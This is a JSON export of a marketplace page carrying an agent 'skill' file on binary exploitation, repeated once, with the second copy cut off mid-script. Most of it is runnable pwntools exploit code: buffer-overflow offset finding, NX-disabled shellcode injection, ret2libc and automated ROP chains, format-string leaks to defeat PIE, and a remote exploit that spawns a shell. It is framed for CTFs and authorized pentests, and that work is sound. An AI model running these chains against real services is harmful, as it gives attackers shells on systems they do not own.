[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M71GF87KBYD7G3CFQHN0JM14":3,"skill-same:01M71GF87KBYD7G3CFQHN0JM14":93},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":23,"publishedAt":44,"linkOnly":45,"markdownContent":46,"markdownBody":47,"frontMatter":48,"refName":49,"commitSha":50,"skillDirectory":51,"forksCount":14,"repositoryHtmlUrl":52,"repositoryHomepageUrl":6,"ownerHtmlUrl":53,"ownerBlogUrl":6,"ownerDescription":54,"updatedAt":55,"install":56,"resources":69},"01M71GF87KBYD7G3CFQHN0JM14","binary-SKILL.md",null,">\n  Analyze binary exploitation techniques including buffer overflows and ROP chains using pwntools Python library. Covers checksec analysis, gadget discovery with ROPgadget, and exploit development for CTF and authorized security assessments.","DCx7C5\u002Fai-marketplace","DCx7C5","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F42419559?v=4","01M71C01G2AZV3NTNGWAWSHJPP","DC","01M71C01GQW6G50S2BYMS7PP3E",0,"MIT","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fvuln\u002Fexploit\u002Fbinary\u002FSKILL.md",[18],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000023","Skill与智能体开发","SCENARIO","使用场景",[24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43],"skill md","binary skill","binary","binary SKILL md","security","library","exploit","exploitation","with","analyze","gadget","analysis","rop","buffer","techniques","python","discovery","for","development","analyze binary","2026-11-10 10:12:30",false,"---\nname: binary-SKILL.md\ndescription: \">\\n  Analyze binary exploitation techniques including buffer overflows\\\n  \\ and ROP chains using pwntools Python library. Covers checksec analysis, gadget\\\n  \\ discovery with ROPgadget, and exploit development for CTF and authorized security\\\n  \\ assessments.\"\n---\n# Performing Binary Exploitation Analysis\n\n**For authorized security testing and CTF challenges only.**\n\nAnalyze ELF binaries for exploitation vectors using checksec, ROPgadget,\nand pwntools for buffer overflow and ROP chain development.\n\n## When to Use\n\n- Analyzing ELF binaries during authorized penetration tests to identify memory corruption vulnerabilities\n- Solving binary exploitation challenges in CTF competitions\n- Evaluating the effectiveness of compiler mitigations (NX, ASLR, stack canaries, PIE, RELRO) on target binaries\n- Developing proof-of-concept exploits for vulnerability reports to demonstrate impact\n- Training security engineers in exploit development techniques for defensive awareness\n- Validating that security patches for buffer overflow vulnerabilities are effective\n\n**Do not use** against systems without explicit written authorization. Binary exploitation techniques can cause system instability and must only be applied in controlled environments (lab VMs, CTF platforms, authorized pentests with scope documents).\n\n## Prerequisites\n\n- Linux system (Ubuntu\u002FDebian recommended) for exploit development\n- Python 3.8+ with `pwntools` (`pip install pwntools`)\n- GDB with `pwndbg` or `GEF` plugin for enhanced debugging\n- `ROPgadget` for ROP chain gadget discovery (`pip install ROPgadget`)\n- `checksec` (included with pwntools or standalone via `apt install checksec`)\n- Target vulnerable binary compiled for testing (e.g., from pwnable.kr, ROP Emporium, or custom test binaries)\n- Basic understanding of x86\u002Fx86_64 calling conventions and stack layout\n\n## Workflow\n\n### Step 1: Install the Exploitation Toolkit\n\n```bash\n# Install pwntools and dependencies\npip install pwntools ROPgadget\n\n# Install GDB with pwndbg plugin\ngit clone https:\u002F\u002Fgithub.com\u002Fpwndbg\u002Fpwndbg\ncd pwndbg && .\u002Fsetup.sh\n\n# Alternatively, install GEF (GDB Enhanced Features)\n# bash -c \"$(curl -fsSL https:\u002F\u002Fgef.blah.cat\u002Fsh)\"\n\n# Install supporting tools\nsudo apt install -y gdb nasm gcc-multilib libc6-dbg\n\n# Verify installation\npython3 -c \"from pwn import *; print('pwntools version:', version)\"\nchecksec --version\nROPgadget --version\n```\n\n### Step 2: Analyze Binary Protections with checksec\n\nBefore writing any exploit, enumerate the security mitigations compiled into the binary:\n\n```python\nfrom pwn import *\n\n# Load the target binary\nbinary_path = \".\u002Fvulnerable_server\"\nelf = ELF(binary_path)\n\n# checksec output explains what mitigations are in place\nprint(f\"Architecture: {elf.arch}\")\nprint(f\"Bits: {elf.bits}\")\nprint(f\"Endianness: {elf.endian}\")\nprint()\n\n# Key security properties\n# RELRO: Full = GOT is read-only, Partial = GOT header read-only, No = writable GOT\n# Stack Canary: Detects stack buffer overflows via random canary value\n# NX (No-eXecute): Prevents executing code on the stack (DEP)\n# PIE: Position Independent Executable, randomizes base address\n# ASLR: OS-level address randomization (check \u002Fproc\u002Fsys\u002Fkernel\u002Frandomize_va_space)\n\n# Also available via command line:\n# checksec --file=.\u002Fvulnerable_server\n```\n\n```bash\n# Command-line checksec output example:\nchecksec --file=.\u002Fvulnerable_server\n# RELRO           STACK CANARY      NX            PIE\n# Partial RELRO   No canary found   NX disabled   No PIE\n\n# Check ASLR status on the system\ncat \u002Fproc\u002Fsys\u002Fkernel\u002Frandomize_va_space\n# 0 = disabled, 1 = conservative, 2 = full randomization\n```\n\n### Step 3: Find the Buffer Overflow Offset\n\nDetermine exactly how many bytes are needed to overwrite the return address:\n\n```python\nfrom pwn import *\n\ncontext.binary = ELF(\".\u002Fvulnerable_server\")\ncontext.log_level = \"info\"\n\n# Method 1: Use cyclic pattern to find exact offset\n# Generate a unique cyclic pattern\npattern_length = 200\npattern = cyclic(pattern_length)\nprint(f\"Generated cyclic pattern of length {pattern_length}\")\n\n# Send the pattern to the binary\np = process(\".\u002Fvulnerable_server\")\np.sendline(pattern)\np.wait()\n\n# After the crash, read the value in RIP\u002FEIP from core dump or GDB\n# Then find the offset:\n# For 64-bit: crashed_value = p.corefile.fault_addr\n# Or manually from GDB: \"info registers rip\" after crash\ncrashed_rip = 0x6161616c  # Example value from crash\noffset = cyclic_find(crashed_rip)\nprint(f\"Offset to return address: {offset} bytes\")\n\n# Method 2: Use GDB with pwndbg to find offset interactively\n# In GDB:\n#   pwndbg> cyclic 200\n#   pwndbg> run \u003C \u003C(python3 -c \"from pwn import *; print(cyclic(200).decode())\")\n#   pwndbg> cyclic -l $rsp   (or cyclic -l \u003Cvalue in RIP>)\n```\n\n### Step 4: Exploit a Stack Buffer Overflow (NX Disabled)\n\nWhen NX is disabled, inject and execute shellcode directly on the stack:\n\n```python\nfrom pwn import *\n\n# Configuration\nbinary_path = \".\u002Fvulnerable_server\"\ncontext.binary = ELF(binary_path)\ncontext.arch = \"amd64\"  # or \"i386\" for 32-bit\n\nOFFSET = 72  # Determined in Step 3\n\n# Generate shellcode\n# execve(\"\u002Fbin\u002Fsh\", NULL, NULL) - spawn a shell\nshellcode = asm(shellcraft.sh())\nprint(f\"Shellcode length: {len(shellcode)} bytes\")\n\n# Build the exploit payload\n# Layout: [NOP sled] [shellcode] [padding] [return address -> NOP sled]\nnop_sled = asm(\"nop\") * 32\n\n# For a local exploit without ASLR, we can estimate the buffer address\n# Run in GDB first to find the buffer address:\n#   break *main+XX  (after read\u002Fgets call)\n#   x\u002F20x $rsp\nbuffer_addr = 0x7fffffffe000  # Example - get from GDB\n\npadding_len = OFFSET - len(nop_sled) - len(shellcode)\npayload = nop_sled + shellcode + b\"A\" * padding_len + p64(buffer_addr)\n\n# Launch exploit\np = process(binary_path)\np.sendline(payload)\np.interactive()  # Interact with the spawned shell\n```\n\n### Step 5: Build a ROP Chain (NX Enabled)\n\nWhen NX prevents stack code execution, chain existing code gadgets (Return-Oriented Programming):\n\n```bash\n# Find ROP gadgets in the binary\nROPgadget --binary .\u002Fvulnerable_server\n\n# Find specific gadgets\nROPgadget --binary .\u002Fvulnerable_server --only \"pop|ret\"\nROPgadget --binary .\u002Fvulnerable_server --only \"mov|ret\"\n\n# Search for gadgets to control registers for syscall\nROPgadget --binary .\u002Fvulnerable_server | grep \"pop rdi\"\nROPgadget --binary .\u002Fvulnerable_server | grep \"pop rsi\"\nROPgadget --binary .\u002Fvulnerable_server | grep \"pop rdx\"\nROPgadget --binary .\u002Fvulnerable_server | grep \"syscall\"\n\n# Find gadgets in libc (for ret2libc attacks)\nROPgadget --binary \u002Flib\u002Fx86_64-linux-gnu\u002Flibc.so.6 --only \"pop|ret\" | head -20\n```\n\n```python\nfrom pwn import *\n\nbinary_path = \".\u002Fvulnerable_server\"\nelf = ELF(binary_path)\ncontext.binary = elf\n\nOFFSET = 72\n\n# Method 1: ret2libc - call system(\"\u002Fbin\u002Fsh\") via libc\n# When the binary is dynamically linked and we know libc version\nlibc = ELF(\"\u002Flib\u002Fx86_64-linux-gnu\u002Flibc.so.6\")\n\n# Start process to leak libc address\np = process(binary_path)\n\n# If there is a format string or info leak, use it to find libc base\n# Example: binary prints puts@GOT address\np.recvuntil(b\"puts address: \")\nputs_leak = int(p.recvline().strip(), 16)\nlibc.address = puts_leak - libc.symbols[\"puts\"]\nlog.success(f\"libc base: {hex(libc.address)}\")\n\n# Find a \"pop rdi; ret\" gadget for x86_64 calling convention\n# First argument goes in RDI register\npop_rdi = elf.search(asm(\"pop rdi; ret\")).__next__()\nret_gadget = elf.search(asm(\"ret\")).__next__()  # Stack alignment\n\n# Build the ROP chain: system(\"\u002Fbin\u002Fsh\")\nbin_sh_addr = next(libc.search(b\"\u002Fbin\u002Fsh\\x00\"))\nsystem_addr = libc.symbols[\"system\"]\n\nrop_chain = flat(\n    b\"A\" * OFFSET,          # Padding to reach return address\n    ret_gadget,              # Stack alignment (needed for movaps in system)\n    pop_rdi,                 # pop rdi; ret - load \u002Fbin\u002Fsh address into RDI\n    bin_sh_addr,             # Address of \"\u002Fbin\u002Fsh\" string in libc\n    system_addr,             # Call system()\n)\n\np.sendline(rop_chain)\np.interactive()\n```\n\n### Step 6: Use pwntools ROP Helper for Automated Chain Building\n\n```python\nfrom pwn import *\n\nbinary_path = \".\u002Fvulnerable_server\"\nelf = ELF(binary_path)\ncontext.binary = elf\n\nOFFSET = 72\n\n# pwntools automatic ROP chain builder\nrop = ROP(elf)\n\n# If the binary has enough gadgets, pwntools can build chains automatically\n# For execve(\"\u002Fbin\u002Fsh\", 0, 0) syscall:\nrop.call(\"puts\", [elf.got[\"puts\"]])  # Leak GOT entry\nrop.call(elf.symbols[\"main\"])        # Return to main for second stage\n\n# Print the ROP chain for debugging\nprint(rop.dump())\n\n# Build first-stage payload (leak libc)\nstage1 = flat(\n    b\"A\" * OFFSET,\n    rop.chain()\n)\n\np = process(binary_path)\np.sendline(stage1)\n\n# Parse the leaked puts address\np.recvuntil(b\"\\n\")  # Skip program output\nleaked_puts = u64(p.recvline().strip().ljust(8, b\"\\x00\"))\nlog.success(f\"Leaked puts@GOT: {hex(leaked_puts)}\")\n\n# Calculate libc base\nlibc = ELF(\"\u002Flib\u002Fx86_64-linux-gnu\u002Flibc.so.6\")\nlibc.address = leaked_puts - libc.symbols[\"puts\"]\nlog.success(f\"libc base: {hex(libc.address)}\")\n\n# Build second-stage ROP chain using libc gadgets\nrop2 = ROP(libc)\nrop2.call(\"execve\", [next(libc.search(b\"\u002Fbin\u002Fsh\\x00\")), 0, 0])\n\nstage2 = flat(\n    b\"A\" * OFFSET,\n    rop2.chain()\n)\n\np.sendline(stage2)\np.interactive()\n```\n\n### Step 7: Debug Exploits with GDB and pwndbg\n\n```python\nfrom pwn import *\n\nbinary_path = \".\u002Fvulnerable_server\"\nelf = ELF(binary_path)\ncontext.binary = elf\ncontext.terminal = [\"tmux\", \"splitw\", \"-h\"]  # or [\"gnome-terminal\", \"--\"]\n\n# Launch binary under GDB with pwndbg\np = gdb.debug(binary_path, \"\"\"\n    # Set breakpoints at key locations\n    break *main\n    break *main+85\n\n    # Continue to the vulnerable function\n    continue\n\"\"\")\n\n# GDB commands useful during exploit development:\n# pwndbg> vmmap              - Show memory mappings (find stack, heap, libc)\n# pwndbg> checksec           - Show binary protections\n# pwndbg> search -s \"\u002Fbin\u002Fsh\" - Find string in memory\n# pwndbg> rop --grep \"pop rdi\" - Search for gadgets\n# pwndbg> cyclic 200         - Generate cyclic pattern\n# pwndbg> cyclic -l 0x616161 - Find offset from pattern value\n# pwndbg> telescope $rsp 20  - Show stack contents\n# pwndbg> x\u002F20gx $rsp        - Examine stack as 64-bit values\n# pwndbg> heap               - Analyze heap state\n# pwndbg> got                 - Show GOT entries and resolved addresses\n# pwndbg> plt                 - Show PLT entries\n\nOFFSET = 72\npayload = b\"A\" * OFFSET + p64(0xdeadbeef)\np.sendline(payload)\np.interactive()\n```\n\n### Step 8: Handle PIE and ASLR with Information Leaks\n\n```python\nfrom pwn import *\n\nbinary_path = \".\u002Fvulnerable_pie_binary\"\nelf = ELF(binary_path)\ncontext.binary = elf\n\n# When PIE is enabled, we need to leak a code address to defeat randomization\n# Common leak techniques:\n# 1. Format string vulnerability: %p to leak stack\u002Fcode pointers\n# 2. Partial overwrite: overwrite only lower bytes of a pointer\n# 3. Uninitialized memory: read stack memory containing code pointers\n\np = process(binary_path)\n\n# Example: Using a format string leak to defeat PIE\n# If the binary has a printf(user_input) vulnerability:\np.sendline(b\"%p.%p.%p.%p.%p.%p.%p.%p.%p.%p\")\nleak_output = p.recvline().strip().decode()\nleaked_addrs = leak_output.split(\".\")\n\n# Parse leaked addresses to find a code pointer\nfor i, addr in enumerate(leaked_addrs):\n    try:\n        val = int(addr, 16)\n        # PIE binaries typically load at 0x55XXXXXXXXXX on 64-bit\n        if 0x550000000000 \u003C= val \u003C= 0x560000000000:\n            log.info(f\"Offset {i}: {addr} (likely PIE code address)\")\n        # libc addresses typically at 0x7fXXXXXXXXXX\n        elif 0x7f0000000000 \u003C= val \u003C= 0x800000000000:\n            log.info(f\"Offset {i}: {addr} (likely libc address)\")\n    except ValueError:\n        continue\n\n# Once we have a leaked PIE address, calculate the binary base\nleaked_code_addr = int(leaked_addrs[5], 16)  # Example offset\nelf.address = leaked_code_addr - elf.symbols[\"main\"]  # Adjust for known offset\nlog.success(f\"PIE base: {hex(elf.address)}\")\n\n# Now we can use absolute addresses in our ROP chain\nrop = ROP(elf)\n# ... build chain using elf.symbols which are now correctly rebased\n```\n\n### Step 9: Exploit a Remote Target\n\n```python\nfrom pwn import *\n\n# Configuration\nREMOTE_HOST = \"target.ctf.example.com\"\nREMOTE_PORT = 9001\nbinary_path = \".\u002Fvulnerable_server\"\n\nelf = ELF(binary_path)\ncontext.binary = elf\n\ndef exploit(target):\n    \"\"\"Run the full exploit chain against a target (local or remote).\"\"\"\n    OFFSET = 72\n\n    # Stage 1: Leak libc\n    rop1 = ROP(elf)\n    rop1.call(\"puts\", [elf.got[\"puts\"]])\n    rop1.call(elf.symbols[\"main\"])\n\n    payload1 = flat(b\"A\" * OFFSET, rop1.chain())\n    target.sendlineafter(b\"Input: \", payload1)\n\n    leaked = u64(target.recvline().strip().ljust(8, b\"\\x00\"))\n    log.success(f\"Leaked puts: {hex(leaked)}\")\n\n    # Stage 2: ret2libc\n    libc = ELF(\"\u002Flib\u002Fx86_64-linux-gnu\u002Flibc.so.6\")\n    libc.address = leaked - libc.symbols[\"puts\"]\n\n    rop2 = ROP(libc)\n    rop2.call(\"execve\", [next(libc.search(b\"\u002Fbin\u002Fsh\\x00\")), 0, 0])\n\n    payload2 = flat(b\"A\" * OFFSET, rop2.chain())\n    target.sendlineafter(b\"Input: \", payload2)\n\n    target.interactive()\n\n# Test locally first\nlog.info(\"Testing exploit locally...\")\nlocal = process(binary_path)\nexploit(local)\n\n# Then run against remote target\n# log.info(\"Running exploit against remote target...\")\n# remote = remote(REMOTE_HOST, REMOTE_PORT)\n# exploit(remote)\n```\n\n## Verification\n\n- Confirm `checksec` correctly identifies all binary mitigations (NX, canary, PIE, RELRO) and results match manual inspection\n- Verify the cyclic pattern offset finder produces the correct offset by setting a breakpoint at the `ret` instruction and confirming RIP\u002FEIP contains the expected cyclic value\n- Test shellcode payloads execute correctly in a controlled environment with NX disabled\n- Validate ROP chains by single-stepping through gadgets in GDB to confirm register values are set correctly before the final syscall\u002Ffunction call\n- Confirm the exploit works both locally (`process()`) and against a remote target (`remote()`) when the correct libc version is used\n- Verify that PIE bypass correctly rebases all addresses by checking GDB `vmmap` output against calculated addresses\n- Test that the exploit fails gracefully when mitigations are re-enabled (confirms the exploit targets the correct weakness)\n- Run `ROPgadget` output through a deduplication filter to confirm all referenced gadgets exist at the specified offsets in the target binary\n\n\n---\n\n## CyberSecSuite Integration\n\n```bash\n# Open a case before starting investigation\nmcp__cybersec__case_open --title \"binary\" --type investigation\n\n# Persist findings to PostgreSQL\nmcp__cybersec__add_finding --title \"...\" --severity high --description \"...\"\n\n# Log IOCs\nmcp__cybersec__add_ioc --type domain --value \"...\" --confidence 0.9\n\n# Map to MITRE\nmcp__cybersec__suggest_mitre --description \"...\"\n```\n\n**Agent:** `@cybersec-agent` → delegates to appropriate specialist\n","# Performing Binary Exploitation Analysis\n\n**For authorized security testing and CTF challenges only.**\n\nAnalyze ELF binaries for exploitation vectors using checksec, ROPgadget,\nand pwntools for buffer overflow and ROP chain development.\n\n## When to Use\n\n- Analyzing ELF binaries during authorized penetration tests to identify memory corruption vulnerabilities\n- Solving binary exploitation challenges in CTF competitions\n- Evaluating the effectiveness of compiler mitigations (NX, ASLR, stack canaries, PIE, RELRO) on target binaries\n- Developing proof-of-concept exploits for vulnerability reports to demonstrate impact\n- Training security engineers in exploit development techniques for defensive awareness\n- Validating that security patches for buffer overflow vulnerabilities are effective\n\n**Do not use** against systems without explicit written authorization. Binary exploitation techniques can cause system instability and must only be applied in controlled environments (lab VMs, CTF platforms, authorized pentests with scope documents).\n\n## Prerequisites\n\n- Linux system (Ubuntu\u002FDebian recommended) for exploit development\n- Python 3.8+ with `pwntools` (`pip install pwntools`)\n- GDB with `pwndbg` or `GEF` plugin for enhanced debugging\n- `ROPgadget` for ROP chain gadget discovery (`pip install ROPgadget`)\n- `checksec` (included with pwntools or standalone via `apt install checksec`)\n- Target vulnerable binary compiled for testing (e.g., from pwnable.kr, ROP Emporium, or custom test binaries)\n- Basic understanding of x86\u002Fx86_64 calling conventions and stack layout\n\n## Workflow\n\n### Step 1: Install the Exploitation Toolkit\n\n```bash\n# Install pwntools and dependencies\npip install pwntools ROPgadget\n\n# Install GDB with pwndbg plugin\ngit clone https:\u002F\u002Fgithub.com\u002Fpwndbg\u002Fpwndbg\ncd pwndbg && .\u002Fsetup.sh\n\n# Alternatively, install GEF (GDB Enhanced Features)\n# bash -c \"$(curl -fsSL https:\u002F\u002Fgef.blah.cat\u002Fsh)\"\n\n# Install supporting tools\nsudo apt install -y gdb nasm gcc-multilib libc6-dbg\n\n# Verify installation\npython3 -c \"from pwn import *; print('pwntools version:', version)\"\nchecksec --version\nROPgadget --version\n```\n\n### Step 2: Analyze Binary Protections with checksec\n\nBefore writing any exploit, enumerate the security mitigations compiled into the binary:\n\n```python\nfrom pwn import *\n\n# Load the target binary\nbinary_path = \".\u002Fvulnerable_server\"\nelf = ELF(binary_path)\n\n# checksec output explains what mitigations are in place\nprint(f\"Architecture: {elf.arch}\")\nprint(f\"Bits: {elf.bits}\")\nprint(f\"Endianness: {elf.endian}\")\nprint()\n\n# Key security properties\n# RELRO: Full = GOT is read-only, Partial = GOT header read-only, No = writable GOT\n# Stack Canary: Detects stack buffer overflows via random canary value\n# NX (No-eXecute): Prevents executing code on the stack (DEP)\n# PIE: Position Independent Executable, randomizes base address\n# ASLR: OS-level address randomization (check \u002Fproc\u002Fsys\u002Fkernel\u002Frandomize_va_space)\n\n# Also available via command line:\n# checksec --file=.\u002Fvulnerable_server\n```\n\n```bash\n# Command-line checksec output example:\nchecksec --file=.\u002Fvulnerable_server\n# RELRO           STACK CANARY      NX            PIE\n# Partial RELRO   No canary found   NX disabled   No PIE\n\n# Check ASLR status on the system\ncat \u002Fproc\u002Fsys\u002Fkernel\u002Frandomize_va_space\n# 0 = disabled, 1 = conservative, 2 = full randomization\n```\n\n### Step 3: Find the Buffer Overflow Offset\n\nDetermine exactly how many bytes are needed to overwrite the return address:\n\n```python\nfrom pwn import *\n\ncontext.binary = ELF(\".\u002Fvulnerable_server\")\ncontext.log_level = \"info\"\n\n# Method 1: Use cyclic pattern to find exact offset\n# Generate a unique cyclic pattern\npattern_length = 200\npattern = cyclic(pattern_length)\nprint(f\"Generated cyclic pattern of length {pattern_length}\")\n\n# Send the pattern to the binary\np = process(\".\u002Fvulnerable_server\")\np.sendline(pattern)\np.wait()\n\n# After the crash, read the value in RIP\u002FEIP from core dump or GDB\n# Then find the offset:\n# For 64-bit: crashed_value = p.corefile.fault_addr\n# Or manually from GDB: \"info registers rip\" after crash\ncrashed_rip = 0x6161616c  # Example value from crash\noffset = cyclic_find(crashed_rip)\nprint(f\"Offset to return address: {offset} bytes\")\n\n# Method 2: Use GDB with pwndbg to find offset interactively\n# In GDB:\n#   pwndbg> cyclic 200\n#   pwndbg> run \u003C \u003C(python3 -c \"from pwn import *; print(cyclic(200).decode())\")\n#   pwndbg> cyclic -l $rsp   (or cyclic -l \u003Cvalue in RIP>)\n```\n\n### Step 4: Exploit a Stack Buffer Overflow (NX Disabled)\n\nWhen NX is disabled, inject and execute shellcode directly on the stack:\n\n```python\nfrom pwn import *\n\n# Configuration\nbinary_path = \".\u002Fvulnerable_server\"\ncontext.binary = ELF(binary_path)\ncontext.arch = \"amd64\"  # or \"i386\" for 32-bit\n\nOFFSET = 72  # Determined in Step 3\n\n# Generate shellcode\n# execve(\"\u002Fbin\u002Fsh\", NULL, NULL) - spawn a shell\nshellcode = asm(shellcraft.sh())\nprint(f\"Shellcode length: {len(shellcode)} bytes\")\n\n# Build the exploit payload\n# Layout: [NOP sled] [shellcode] [padding] [return address -> NOP sled]\nnop_sled = asm(\"nop\") * 32\n\n# For a local exploit without ASLR, we can estimate the buffer address\n# Run in GDB first to find the buffer address:\n#   break *main+XX  (after read\u002Fgets call)\n#   x\u002F20x $rsp\nbuffer_addr = 0x7fffffffe000  # Example - get from GDB\n\npadding_len = OFFSET - len(nop_sled) - len(shellcode)\npayload = nop_sled + shellcode + b\"A\" * padding_len + p64(buffer_addr)\n\n# Launch exploit\np = process(binary_path)\np.sendline(payload)\np.interactive()  # Interact with the spawned shell\n```\n\n### Step 5: Build a ROP Chain (NX Enabled)\n\nWhen NX prevents stack code execution, chain existing code gadgets (Return-Oriented Programming):\n\n```bash\n# Find ROP gadgets in the binary\nROPgadget --binary .\u002Fvulnerable_server\n\n# Find specific gadgets\nROPgadget --binary .\u002Fvulnerable_server --only \"pop|ret\"\nROPgadget --binary .\u002Fvulnerable_server --only \"mov|ret\"\n\n# Search for gadgets to control registers for syscall\nROPgadget --binary .\u002Fvulnerable_server | grep \"pop rdi\"\nROPgadget --binary .\u002Fvulnerable_server | grep \"pop rsi\"\nROPgadget --binary .\u002Fvulnerable_server | grep \"pop rdx\"\nROPgadget --binary .\u002Fvulnerable_server | grep \"syscall\"\n\n# Find gadgets in libc (for ret2libc attacks)\nROPgadget --binary \u002Flib\u002Fx86_64-linux-gnu\u002Flibc.so.6 --only \"pop|ret\" | head -20\n```\n\n```python\nfrom pwn import *\n\nbinary_path = \".\u002Fvulnerable_server\"\nelf = ELF(binary_path)\ncontext.binary = elf\n\nOFFSET = 72\n\n# Method 1: ret2libc - call system(\"\u002Fbin\u002Fsh\") via libc\n# When the binary is dynamically linked and we know libc version\nlibc = ELF(\"\u002Flib\u002Fx86_64-linux-gnu\u002Flibc.so.6\")\n\n# Start process to leak libc address\np = process(binary_path)\n\n# If there is a format string or info leak, use it to find libc base\n# Example: binary prints puts@GOT address\np.recvuntil(b\"puts address: \")\nputs_leak = int(p.recvline().strip(), 16)\nlibc.address = puts_leak - libc.symbols[\"puts\"]\nlog.success(f\"libc base: {hex(libc.address)}\")\n\n# Find a \"pop rdi; ret\" gadget for x86_64 calling convention\n# First argument goes in RDI register\npop_rdi = elf.search(asm(\"pop rdi; ret\")).__next__()\nret_gadget = elf.search(asm(\"ret\")).__next__()  # Stack alignment\n\n# Build the ROP chain: system(\"\u002Fbin\u002Fsh\")\nbin_sh_addr = next(libc.search(b\"\u002Fbin\u002Fsh\\x00\"))\nsystem_addr = libc.symbols[\"system\"]\n\nrop_chain = flat(\n    b\"A\" * OFFSET,          # Padding to reach return address\n    ret_gadget,              # Stack alignment (needed for movaps in system)\n    pop_rdi,                 # pop rdi; ret - load \u002Fbin\u002Fsh address into RDI\n    bin_sh_addr,             # Address of \"\u002Fbin\u002Fsh\" string in libc\n    system_addr,             # Call system()\n)\n\np.sendline(rop_chain)\np.interactive()\n```\n\n### Step 6: Use pwntools ROP Helper for Automated Chain Building\n\n```python\nfrom pwn import *\n\nbinary_path = \".\u002Fvulnerable_server\"\nelf = ELF(binary_path)\ncontext.binary = elf\n\nOFFSET = 72\n\n# pwntools automatic ROP chain builder\nrop = ROP(elf)\n\n# If the binary has enough gadgets, pwntools can build chains automatically\n# For execve(\"\u002Fbin\u002Fsh\", 0, 0) syscall:\nrop.call(\"puts\", [elf.got[\"puts\"]])  # Leak GOT entry\nrop.call(elf.symbols[\"main\"])        # Return to main for second stage\n\n# Print the ROP chain for debugging\nprint(rop.dump())\n\n# Build first-stage payload (leak libc)\nstage1 = flat(\n    b\"A\" * OFFSET,\n    rop.chain()\n)\n\np = process(binary_path)\np.sendline(stage1)\n\n# Parse the leaked puts address\np.recvuntil(b\"\\n\")  # Skip program output\nleaked_puts = u64(p.recvline().strip().ljust(8, b\"\\x00\"))\nlog.success(f\"Leaked puts@GOT: {hex(leaked_puts)}\")\n\n# Calculate libc base\nlibc = ELF(\"\u002Flib\u002Fx86_64-linux-gnu\u002Flibc.so.6\")\nlibc.address = leaked_puts - libc.symbols[\"puts\"]\nlog.success(f\"libc base: {hex(libc.address)}\")\n\n# Build second-stage ROP chain using libc gadgets\nrop2 = ROP(libc)\nrop2.call(\"execve\", [next(libc.search(b\"\u002Fbin\u002Fsh\\x00\")), 0, 0])\n\nstage2 = flat(\n    b\"A\" * OFFSET,\n    rop2.chain()\n)\n\np.sendline(stage2)\np.interactive()\n```\n\n### Step 7: Debug Exploits with GDB and pwndbg\n\n```python\nfrom pwn import *\n\nbinary_path = \".\u002Fvulnerable_server\"\nelf = ELF(binary_path)\ncontext.binary = elf\ncontext.terminal = [\"tmux\", \"splitw\", \"-h\"]  # or [\"gnome-terminal\", \"--\"]\n\n# Launch binary under GDB with pwndbg\np = gdb.debug(binary_path, \"\"\"\n    # Set breakpoints at key locations\n    break *main\n    break *main+85\n\n    # Continue to the vulnerable function\n    continue\n\"\"\")\n\n# GDB commands useful during exploit development:\n# pwndbg> vmmap              - Show memory mappings (find stack, heap, libc)\n# pwndbg> checksec           - Show binary protections\n# pwndbg> search -s \"\u002Fbin\u002Fsh\" - Find string in memory\n# pwndbg> rop --grep \"pop rdi\" - Search for gadgets\n# pwndbg> cyclic 200         - Generate cyclic pattern\n# pwndbg> cyclic -l 0x616161 - Find offset from pattern value\n# pwndbg> telescope $rsp 20  - Show stack contents\n# pwndbg> x\u002F20gx $rsp        - Examine stack as 64-bit values\n# pwndbg> heap               - Analyze heap state\n# pwndbg> got                 - Show GOT entries and resolved addresses\n# pwndbg> plt                 - Show PLT entries\n\nOFFSET = 72\npayload = b\"A\" * OFFSET + p64(0xdeadbeef)\np.sendline(payload)\np.interactive()\n```\n\n### Step 8: Handle PIE and ASLR with Information Leaks\n\n```python\nfrom pwn import *\n\nbinary_path = \".\u002Fvulnerable_pie_binary\"\nelf = ELF(binary_path)\ncontext.binary = elf\n\n# When PIE is enabled, we need to leak a code address to defeat randomization\n# Common leak techniques:\n# 1. Format string vulnerability: %p to leak stack\u002Fcode pointers\n# 2. Partial overwrite: overwrite only lower bytes of a pointer\n# 3. Uninitialized memory: read stack memory containing code pointers\n\np = process(binary_path)\n\n# Example: Using a format string leak to defeat PIE\n# If the binary has a printf(user_input) vulnerability:\np.sendline(b\"%p.%p.%p.%p.%p.%p.%p.%p.%p.%p\")\nleak_output = p.recvline().strip().decode()\nleaked_addrs = leak_output.split(\".\")\n\n# Parse leaked addresses to find a code pointer\nfor i, addr in enumerate(leaked_addrs):\n    try:\n        val = int(addr, 16)\n        # PIE binaries typically load at 0x55XXXXXXXXXX on 64-bit\n        if 0x550000000000 \u003C= val \u003C= 0x560000000000:\n            log.info(f\"Offset {i}: {addr} (likely PIE code address)\")\n        # libc addresses typically at 0x7fXXXXXXXXXX\n        elif 0x7f0000000000 \u003C= val \u003C= 0x800000000000:\n            log.info(f\"Offset {i}: {addr} (likely libc address)\")\n    except ValueError:\n        continue\n\n# Once we have a leaked PIE address, calculate the binary base\nleaked_code_addr = int(leaked_addrs[5], 16)  # Example offset\nelf.address = leaked_code_addr - elf.symbols[\"main\"]  # Adjust for known offset\nlog.success(f\"PIE base: {hex(elf.address)}\")\n\n# Now we can use absolute addresses in our ROP chain\nrop = ROP(elf)\n# ... build chain using elf.symbols which are now correctly rebased\n```\n\n### Step 9: Exploit a Remote Target\n\n```python\nfrom pwn import *\n\n# Configuration\nREMOTE_HOST = \"target.ctf.example.com\"\nREMOTE_PORT = 9001\nbinary_path = \".\u002Fvulnerable_server\"\n\nelf = ELF(binary_path)\ncontext.binary = elf\n\ndef exploit(target):\n    \"\"\"Run the full exploit chain against a target (local or remote).\"\"\"\n    OFFSET = 72\n\n    # Stage 1: Leak libc\n    rop1 = ROP(elf)\n    rop1.call(\"puts\", [elf.got[\"puts\"]])\n    rop1.call(elf.symbols[\"main\"])\n\n    payload1 = flat(b\"A\" * OFFSET, rop1.chain())\n    target.sendlineafter(b\"Input: \", payload1)\n\n  